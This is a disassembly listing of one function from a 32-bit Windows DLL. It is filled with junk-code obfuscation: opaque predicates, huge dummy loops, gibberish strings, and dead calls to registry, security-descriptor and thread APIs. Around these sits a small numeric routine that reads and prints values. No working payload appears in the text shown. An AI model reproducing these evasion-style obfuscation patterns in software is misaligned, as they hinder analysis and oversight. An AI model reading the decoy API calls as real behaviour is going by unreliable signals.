cmp dword [ebp - 0x1c], 0x3a03
jge 0x10036054
push str.mrfe_eshpg_byulb_yubyyp_pimn
call fcn.100420be
pop ecx
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x1c], 0xb
jmp 0x10036109
push 2
lea ecx, [ebp - 0x194]
call fcn.1000995a
mov dword [ebp - 0x30], ebx
jmp 0x1003608c
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x194]
mov dword [eax + ecx*4], 0xfffffffe
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x10036079
mov edx, dword [ebp - 0x194]
xor ecx, ecx
mov eax, dword [edx]
dec eax
cmp eax, 0x6ed55c59
setne cl
cmp ecx, dword [edx + 4]
je 0x100360b6
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0xa4], ebx
je 0x100360c0
cmp dword [edx + 4], ebx
je 0x100360c0
xor esi, esi
inc esi
jmp 0x100360c2
mov esi, ebx
mov ecx, dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [ebp - 0x38]
neg ecx
cmp ecx, eax
setl dl
add edx, dword [ebp - 0x20]
dec dword [ebp - 0x20]
cmp edx, esi
jge 0x100360e0
xor eax, eax
inc eax
jmp 0x100360e2
mov eax, ebx
mov ecx, dword [ebp - 0x3c]
cmp edi, eax
sbb eax, eax
neg eax
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
add ecx, dword [ebp - 0xa4]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x194]
call fcn.100099dd
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffffd
jne 0x10036067
jmp 0x100361f3
mov dword [ebp - 0x38], 0xb1aa435c
mov dword [ebp - 0x38], 0x9ed994ad
mov dword [ebp - 0x38], 0x70f3f850
mov dword [ebp - 0x34], 0x43af
cmp dword [ebp - 0x34], 0x4761
jle 0x10036196
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
mov edi, ebx
mov dword [ebp - 0x40], ebx
mov esi, ebx
mov dword [ebp - 0x44], ebx
mov ecx, esi
mov dword [ebp - 0x38], edi
mov esi, edi
mov dword [ebp - 0x1c], ebx
shl esi, cl
mov edi, ebx
mov eax, esi
mov ecx, 0x10074f78
xor eax, edi
cdq
push edx
push eax
call fcn.10009792
inc edi
cmp edi, 0x7bfe
jl 0x1003615e
mov esi, dword [ebp - 0x44]
mov edi, dword [ebp - 0x40]
inc esi
mov dword [ebp - 0x44], esi
cmp esi, 0x5f44
jl 0x10036150
inc edi
mov dword [ebp - 0x40], edi
cmp edi, 0x1d44
jl 0x1003614b
mov dword [ebp - 0x38], ebx
mov byte [ebp - 4], 0x1b
cmp dword [ebp - 0x34], 0x430f
jge 0x100361d3
mov edx, str.fsvewc_ifdigg_kouk_jzj_imwgrt_artkdp_pfcq_zzran_lvvogexhq_pzdjhjuq_zvzkso_ijooqkpb_twxdnk
mov ecx, 0x10074f78
call fcn.1000cd04
jmp 0x100361d3
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x38], 0xfffffffb
mov dword [ebp - 0x38], 0xffffffff
inc dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
neg eax
mov dword [ebp - 0x38], eax
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10036208
push 1
push ebx
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
inc dword [ebp - 0x28]
jmp 0x10035f38
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov word [ebp + eax*2 - 0x148], cx
inc eax
jmp 0x10035daf
xor ecx, ecx
inc ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x2c], 0x23d4a1cf
mov dword [ebp - 0x1c], 0x736d0c11
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10036250
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x1c], ebx
jne 0x1003627b
mov ecx, ebx
mov eax, dword [ebp - 0x20]
xor edx, edx
imul ecx, ecx, 0x8ed7
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setle dl
cmp edx, 0xc9d94031
sbb ecx, ecx
xor edx, edx
neg ecx
cmp eax, ecx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
setge dl
mov dword [ebp - 0x38], edx
xor edx, edx
cmp ecx, eax
setg dl
sub edx, dword [ebp - 0x38]
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x48], 0x7179
cmp dword [ebp - 0x48], 0x72c3
jle 0x1003632a
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, ebx
mov dword [ebp - 0x34], ebx
mov esi, ebx
mov dword [ebp - 0x3c], ebx
cdq
mov edi, ebx
idiv esi
mov dword [ebp - 0x2c], edi
mov ebx, edx
lea esi, [ebx + edi]
mov edi, 0x2a36
mov eax, esi
mov ecx, 0x10074f78
cdq
push edx
push eax
call fcn.10009792
dec esi
dec edi
jne 0x100362e8
mov edi, dword [ebp - 0x2c]
inc edi
mov dword [ebp - 0x2c], edi
cmp edi, 0x271a
jl 0x100362e0
mov esi, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
inc esi
mov dword [ebp - 0x3c], esi
push 0
pop ebx
cmp esi, 0x7379
jl 0x100362d6
inc eax
mov dword [ebp - 0x34], eax
cmp eax, 0x5cb8
jl 0x100362d1
push dword [ebp - 0xe4]
lea ecx, [ebp - 0x21c]
call fcn.10001442
mov byte [ebp - 4], 0x1e
cmp dword [ebp - 0x48], 0x6f2e
jge 0x10036375
mov edx, str.frgp_uyp_xcusu_ahslhjetl_olgozitc_pmided_xuhruuwm
mov ecx, 0x10074f78
call fcn.1000cd04
jmp 0x10036375
mov dword [ebp - 4], 0x1d
lea ecx, [ebp - 0xbc]
mov dword [ebp - 0x24], ebx
xor eax, eax
inc eax
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x30], 0x6e3e45bb
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xc0], eax
push 2
call fcn.1000995a
mov byte [ebp - 4], 0x20
mov eax, 0x8886a6c6
mov dword [ebp - 0x1c], 0x1b0cadfb
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], eax
mov dword [ebp - 0x1c], ebx
jmp 0x100363f5
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xbc]
mov dword [eax + ecx*4], 2
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x100363e2
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
je 0x10036446
cmp dword [ebp - 0x24], 1
jge 0x1003641d
cmp dword [ebp - 0x30], ebx
jne 0x1003641d
cmp dword [ebp - 0x24], ebx
jne 0x1003641d
mov eax, ebx
jmp 0x10036420
xor eax, eax
inc eax
cmp eax, dword [ebp - 0x30]
jg 0x1003642e
cmp dword [ebp - 0x30], ebx
jne 0x1003642e
mov eax, ebx
jmp 0x10036431
xor eax, eax
inc eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xc4], eax
test eax, eax
je 0x10036446
xor ecx, ecx
inc ecx
jmp 0x10036448
mov ecx, ebx
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x30]
jge 0x10036468
cmp dword [ebp - 0xf0], ebx
je 0x10036468
xor ecx, ecx
inc ecx
jmp 0x1003646a
mov ecx, ebx
mov eax, dword [ebp - 0xf8]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x30]
sete dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x24]
cmp eax, edx
setl cl
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0x1c], ebx
jmp 0x100366b5
mov dword [ebp - 0x20], 0x26cdee94
mov dword [ebp - 0x30], 0x78317d23
mov dword [ebp - 0x24], ebx
jmp 0x100366a8
mov dword [ebp - 0x38], 7
lea ecx, [ebp - 0x170]
push 2
call fcn.1000995a
mov dword [ebp - 0x28], ebx
jmp 0x100364d6
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x170]
mov dword [eax + ecx*4], 0xc493a780
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jl 0x100364c3
mov dword [ebp - 0x20], 0x731e7bf5
cmp dword [ebp - 0x20], ebx
je 0x100364f4
mov dword [ebp - 0x28], 1
jmp 0x1003661f
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x38], 0xc458af32
mov dword [ebp - 0x28], 3
cmp dword [ebp - 0x28], ebx
jl 0x1003661f
mov dword [ebp - 0x2c], 0x42c8
mov dword [ebp - 0x2c], 0x78c76445
mov dword [ebp - 0x20], ebx
jmp 0x10036599
mov dword [ebp - 0x30], 0xd9de360a
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xcc]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xbc]
imul edx, dword [eax + ecx*4]
mov eax, dword [ebp - 0x30]
dec eax
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, edx
mov eax, dword [ebp - 0x20]
setge cl
sub ecx, 0xb826fbc
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
sub ecx, dword [ebp + eax*4 - 0xf8]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x38], ecx
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10036596
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 1
jle 0x10036525
mov dword [ebp - 0x30], 0x19
jmp 0x10036610
mov dword [ebp - 0x2c], 0x8dd
mov eax, dword [ebp - 0x3c]
sub eax, 0x3bea
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
setne cl
xor eax, eax
cmp ecx, 0xb34d
mov ecx, dword [ebp - 0x3c]
setne al
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0xc4], ecx
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003660d
push 1
push 0xcec
push 0xe99
push 0x2f0
push 0x1287
call dword [sym.imp.USER32.dll_SetScrollRange]
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x18
jg 0x100365a8
dec dword [ebp - 0x28]
jns 0x10036512
mov eax, dword [ebp - 0x24]
xor edx, edx
mov edi, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0xc4]
mov esi, dword [ebp - 0xbc]
cmp dword [esi + ecx*4], eax
setge dl
xor eax, eax
test edx, edx
mov edx, dword [ebp - 0x38]
setle al
xor ecx, ecx
cmp dword [esi + edi*4], eax
setge cl
xor eax, eax
cmp dword [esi + edx*4], ecx
sete al
xor edx, edx
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0xbc]
cmp dword [eax + ecx*4], ebx
mov eax, dword [ebp - 0x28]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x170]
setne cl
mov dword [ebp - 0x38], ecx
mov dword [eax], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x38], eax
setg cl
mov dword [ebp - 0xc4], ecx
lea ecx, [ebp - 0x170]
call fcn.100099dd
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 1
jle 0x100364aa
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe8
jle 0x10036494
lea ecx, [ebp - 0xbc]
mov byte [ebp - 4], 0x1d
call fcn.100099dd
mov dword [ebp - 0x38], 0x6951ad38
lea ecx, [ebp - 0x1ac]
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x38], 0xc6e5c7a0
push 1
call fcn.1000995a
mov byte [ebp - 4], 0x21
mov dword [ebp - 0x38], 0xd1b9849b
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x2c], 0x118b
cmp dword [ebp - 0x2c], 0x14a7
jle 0x10036744
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x38], ebx
mov ecx, ebx
mov eax, esi
shl eax, cl
mov ecx, 0x10074f78
or eax, edi
cdq
push edx
push eax
call fcn.10009792
inc ebx
cmp ebx, 0x5405
jl 0x10036711
inc esi
push 0
pop ebx
cmp esi, 0x1b10
jl 0x1003670e
inc edi
cmp edi, 0x6374
jl 0x1003670c
mov byte [ebp - 4], 0x22
cmp dword [ebp - 0x2c], 0x10f3
jge 0x1003677e
mov edx, str.lamdmff_qbjvcdnky_cfsyjzr_jrdsqdlc_glnavlx_afo_rhwp_der_umyqzmeko_zqnmczu_ejmnegr
mov ecx, 0x10074f78
call fcn.1000cd04
jmp 0x1003677e
mov dword [ebp - 4], 0x21
mov dword [ebp - 0x20], ebx
jmp 0x1003679b
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xd0], 0xc0ae9714
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 1
jl 0x1003678a
mov dword [ebp - 0x20], ebx
jmp 0x100367b5
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1ac]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 1
jl 0x100367a6
dec dword [ebp - 0x3c]
lea ecx, [ebp - 0x1ac]
mov byte [ebp - 4], 0x1d
call fcn.100099dd
push 0x5c
pop eax
push 2
mov byte [ebp - 0x54], bl
mov ecx, ebx
mov word [ebp - 0x53], 0x1e3
mov byte [ebp - 0x51], 0x7d
mov word [ebp - 0x58], ax
pop esi
cmp esi, 2
jne 0x10036947
push esi
mov dword [ebp - 0x38], 0x24a2
cmp dword [ebp - 0x38], 0x829
pop ecx
mov dword [ebp - 0x3c], ecx
jge 0x10036942
lea eax, [ebp - 0xe8]
push eax
lea eax, [ebp - 0x74]
push eax
push str._ld__ld
call fcn.1004261a
add esp, 0xc
mov dword [ebp - 0x80], ebx
lea eax, [ebp - 0x204]
mov dword [ebp - 0x7c], ebx
xorps xmm0, xmm0
mov dword [ebp - 0x78], ebx
lea ecx, [ebp - 0x80]
movsd qword [ebp - 0x204], xmm0
push eax
push dword [ebp - 0x74]
call fcn.100371d9
mov edi, dword [ebp - 0x74]
mov dword [ebp - 0x2c], ebx
test edi, edi
jle 0x100368c8
mov ebx, dword [ebp - 0x80]
lea eax, [ebp - 0xe0]
push eax
lea eax, [ebp - 0x84]
push eax
push str._ld__ld
call fcn.1004261a
mov eax, dword [ebp - 0x84]
add esp, 0xc
mov esi, dword [ebp - 0xe8]
dec eax
cdq
idiv esi
mov edi, dword [ebp - 0xe0]
lea ecx, [eax + 1]
mov eax, edi
cdq
idiv esi
imul ecx, esi
imul eax, esi
sub edi, dword [ebp - 0x84]
sub eax, ecx
cdq
idiv esi
inc eax
inc edi
movd xmm1, eax
movd xmm0, edi
cvtdq2pd xmm1, xmm1
mov eax, dword [ebp - 0x2c]
cvtdq2pd xmm0, xmm0
divsd xmm1, xmm0
movsd qword [ebx + eax*8], xmm1
inc eax
mov edi, dword [ebp - 0x74]
mov dword [ebp - 0x2c], eax
cmp eax, edi
jl 0x10036853
xor ebx, ebx
mov esi, dword [ebp - 0x80]
xorps xmm2, xmm2
mov dword [ebp - 0x38], ebx
test edi, edi
jle 0x10036917
movsd xmm3, qword [0x10067938]
lea ecx, [ebx + 1]
movapd xmm1, xmm3
mov eax, ecx
movapd xmm0, xmm3
cdq
idiv edi
subsd xmm0, qword [esi + ebx*8]
mov ebx, ecx
subsd xmm1, qword [esi + edx*8]
mulsd xmm1, xmm0
movapd xmm0, xmm3
subsd xmm0, xmm1
mulsd xmm0, qword [0x10067940]
addsd xmm2, xmm0
cmp ebx, edi
jl 0x100368dd
xor ebx, ebx
push ecx
push ecx
movsd qword [esp], xmm2
push str._.8lf_n
call fcn.100420be
add esp, 0xc
test esi, esi
je 0x1003693f
push esi
call fcn.100421f1
pop ecx
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], ebx
mov ecx, dword [ebp - 0x3c]
push 2
pop esi
jmp 0x1003696e
movzx edx, byte [ebp + esi - 0x53]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x56]
movzx eax, word [ebp + eax*2 - 0x58]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x54]
mov word [ebp + eax*2 - 0x58], cx
mov ecx, ebx
add esi, 2
cmp esi, 4
jb 0x100367e6
push dword [ebp - 0xd0]
movdqa xmm0, xmmword [0x10067980]
lea ecx, [ebp - 0xb0]
xor eax, eax
mov dword [ebp - 0xb0], ebx
mov word [ebp - 0x56], ax
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x22c]
mov dword [ebp - 0xac], ebx
push eax
push ebx
movdqu xmmword [ebp - 0x22c], xmm0
mov dword [ebp - 0xa8], ebx
call fcn.1000d669
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x24], 1
push 2
call fcn.1000995a
push 3
pop esi
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x188]
mov dword [ebp - 0x2c], esi
push 4
call fcn.1000995a
mov dword [ebp - 0x20], ebx
jmp 0x10036a09
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x120]
mov dword [eax + ecx*4], 0xe0e2bf35
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x100369f6
mov dword [ebp - 0x20], ebx
jmp 0x10036a27
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x188]
mov dword [eax + ecx*4], 0xa2910a83
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x10036a14
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], esi
jg 0x10036ada
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x24]
mov dword [eax], 1
mov eax, dword [ebp - 0xb0]
cmp dword [eax + ecx*4], 1
setge dl
mov dword [ebp - 0x2c], edx
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x2c]
cmp dword [ecx + edx*4], eax
jle 0x10036a99
mov eax, dword [ebp - 0x120]
cmp dword [eax + 4], ebx
je 0x10036a99
xor edi, edi
inc edi
jmp 0x10036a9b
mov edi, ebx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0xb0]
push 0
mov eax, dword [edx + eax*4]
cmp eax, dword [edx + ecx*4]
pop eax
setle al
xor ecx, ecx
cmp edi, dword [edx]
mov dword [ebp - 0x38], eax
setne cl
xor eax, eax
cmp dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x3c]
setle al
push 3
pop esi
mov dword [ecx + 0xc], eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jle 0x10036a42
lea ecx, [ebp - 0x188]
call fcn.100099dd
lea ecx, [ebp - 0x120]
call fcn.100099dd
lea ecx, [ebp - 0xb0]
mov byte [ebp - 4], 0x1d
call fcn.100099dd
xor eax, eax
mov dword [ebp - 0x124], 7
mov word [ebp - 0x138], ax
lea ecx, [ebp - 0x138]
lea eax, [ebp - 0x58]
mov dword [ebp - 0x128], ebx
push eax
call fcn.10009d6f
mov byte [ebp - 4], 0x26
mov dword [ebp - 0x30], 0xa48bbca6
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x30], 0xf
cmp dword [ebp - 0x30], 0xffffffee
jl 0x10036c15
mov edi, 0xffff
mov dword [ebp - 0x28], 0x47dc4b4e
mov dword [ebp - 0x28], 0x10
jmp 0x10036bb3
mov dword [ebp - 0x1c], ebx
jmp 0x10036b75
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xdc], 8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10036b64
mov dword [ebp - 0xd4], ebx
jmp 0x10036ba7
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10036ba1
push 0x1efa
push 0x2148
push ebx
push 0x16e0
call dword [sym.imp.USER32.dll_DrawFrameControl]
inc dword [ebp - 0xd4]
cmp dword [ebp - 0xd4], 0x18
jge 0x10036b82
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xc
jge 0x10036b5f
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jne 0x10036bcd
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x28]
jg 0x10036bcd
mov ecx, ebx
jmp 0x10036bd0
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x30]
xor edx, edx
add eax, ecx
cmp eax, 0x5fff
mov eax, dword [ebp - 0x30]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x28]
setge cl
cmp edi, ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setle dl
imul eax, dword [ebp - 0x30]
sub eax, edx
sub eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xffffffee
jge 0x10036b4f
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], 0x7cf
cmp dword [ebp - 0x2c], 0xaa8
jle 0x10036c71
mov esi, ebx
mov edi, ebx
lea eax, [edi + esi]
cdq
lea ecx, [ebp - 0x2b0]
push edx
push eax
call fcn.10001335
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10036c4a
mov eax, dword [eax]
push eax
call fcn.100420be
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x2b0]
call fcn.100015c8
inc edi
cmp edi, 0x625a
jl 0x10036c2f
inc esi
cmp esi, 0x5b0d
jl 0x10036c2d
cmp dword [ebp - 0x2c], 0x5f5
mov dword [ebp - 0x58], ebx
jge 0x10036c88
push str.dghlcdhse_gowwvjfbg_tcehkt
call fcn.100420be
pop ecx
push 0x5f
pop eax
mov dword [ebp - 4], 0x26
mov ecx, ebx
push 2
mov byte [ebp - 0x50], bl
mov word [ebp - 0x4f], 0x155
mov byte [ebp - 0x4d], 0x8e
mov word [ebp - 0x5c], ax
pop esi
cmp esi, 2
jne 0x10036cf4
push esi
mov dword [ebp - 0x38], 0x3c6b
cmp dword [ebp - 0x38], 0x3f95
pop ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x2c], esi
jle 0x10036d1d
mov edi, ebx
mov esi, ebx
mov eax, esi
mov ecx, 0x10074f78
and eax, edi
cdq
push edx
push eax
call fcn.10009792
inc esi
cmp esi, 0x2422
jl 0x10036cc9
inc edi
cmp edi, 0x3ff3
jl 0x10036cc7
mov esi, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x3c]
jmp 0x10036d1d
movzx edx, byte [ebp + esi - 0x4f]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x52]
movzx ecx, word [ebp + eax*2 - 0x5c]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x50]
add ecx, edx
mov word [ebp + eax*2 - 0x5c], cx
mov ecx, ebx
add esi, 2
cmp esi, 4
jb 0x10036ca8
xor eax, eax
mov dword [ebp - 0x1b0], 7
mov word [ebp - 0x5a], ax
lea ecx, [ebp - 0x1c4]
mov word [ebp - 0x1c4], ax
lea eax, [ebp - 0x5c]
push eax
mov dword [ebp - 0x1b4], ebx
call fcn.10009d6f
mov byte [ebp - 4], 0x2b
mov dword [ebp - 0x5c], ebx
push dword [ebp - 0x128]
cmp dword [ebp - 0x124], 8
lea eax, [ebp - 0x138]
push ebx
cmovae eax, dword [ebp - 0x138]
lea ecx, [ebp - 0x21c]
push eax
call fcn.10037136
cmp eax, 0xffffffff
je 0x10036d9e
push 0xffffffffffffffff
push ebx
lea ecx, [ebp - 0x1c4]
push ecx
push 1
push eax
lea ecx, [ebp - 0x21c]
call fcn.10001db5
jmp 0x10036d58
mov dword [ebp - 0x48], 0x10d3
cmp dword [ebp - 0x48], 0x128f
jle 0x10036e15
push 0x1e3c
push ebx
push ebx
push ebx
push ebx
push 0x2020
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x3c], ebx
mov ecx, ebx
mov ebx, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], ecx
lea eax, [ebx + edi]
or eax, ecx
mov ecx, 0x10074f78
or eax, esi
cdq
push edx
push eax
call fcn.10009792
mov ecx, dword [ebp - 0x2c]
inc ecx
mov dword [ebp - 0x2c], ecx
cmp ecx, 0x44a0
jl 0x10036dd1
inc ebx
push 0
mov dword [ebp - 0x3c], ebx
cmp ebx, 0x1044
pop ebx
jl 0x10036dc9
inc edi
cmp edi, 0x39e3
jl 0x10036dc6
inc esi
cmp esi, 0x3962
jl 0x10036dc4
mov byte [ebp - 4], 0x2c
cmp dword [ebp - 0x48], 0x10aa
jge 0x10036e4f
mov edx, str.hvejevfph_zuh_fnyonpb_yttia_ttksrmk_vbwlhvndo_ysgnuxnia_hzeo_yqriok
mov ecx, 0x10074f78
call fcn.1000cd04
jmp 0x10036e4f
mov dword [ebp - 4], 0x2b
mov dword [ebp - 0x38], 0xe48d327c
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10036e71
push 0x1c86
call dword [sym.imp.GDI32.dll_SaveDC]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10036e80
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov ecx, dword [ebp - 0x88]
lea eax, [ebp - 0x21c]
push eax
lea edx, [ebp - 0x1e8]
call fcn.10037244
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x1c4]
call fcn.10001734
push ebx
push 1
lea ecx, [ebp - 0x138]
call fcn.10001734
push ebx
push 1
lea ecx, [ebp - 0x21c]
call fcn.10001734
push ebx
push 1
lea ecx, [ebp - 0x1e8]
call fcn.10001734
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x88]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret